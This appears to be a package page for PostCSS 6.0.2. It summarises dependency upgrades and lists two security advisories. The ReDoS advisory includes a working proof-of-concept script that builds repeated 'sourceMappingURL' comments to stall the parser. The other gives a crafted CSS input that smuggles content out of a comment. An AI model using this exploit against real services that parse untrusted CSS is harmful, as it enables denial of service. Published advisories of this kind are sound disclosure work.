PostCSS version 6.0.2 represents a minor update to the popular tool for transforming styles with JavaScript plugins, building upon the solid foundation of version 6.0.1. Both versions share the same core dependencies, including "chalk," "source-map," and "supports-color," ensuring consistent functionality in basic use cases. The primary differences lie in the development dependencies, indicating enhancements in the development workflow, testing, and code quality checks.
Notably, version 6.0.2 upgrades several development tools. "Jest," a testing framework, sees a significant jump from version 19.0.2 to 20.0.4, potentially bringing improved testing capabilities and performance. "ESLint," a linting utility, moves from version 3.19.0 to 4.0.0, suggesting updated linting rules and stricter code style enforcement. Similarly, "gulp-eslint" updates from version 3.0.1 to 4.0.0. Babel-related packages also see updates, with "babel-core" moving from 6.24.1 to 6.25.0 and "babel-preset-env" advancing from 1.4.0 to 1.5.2, potentially offering better support for newer JavaScript features and improved compilation.
These changes suggest a focus on improving the developer experience and ensuring code quality. While the core functionality remains consistent, developers leveraging PostCSS might benefit from the enhanced testing capabilities, stricter linting rules, and improved JavaScript support offered by the updated development dependencies in version 6.0.2. This commitment to developer tooling makes PostCSS a reliable and modern choice for CSS transformation.
All the vulnerabilities related to the version 6.0.2 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.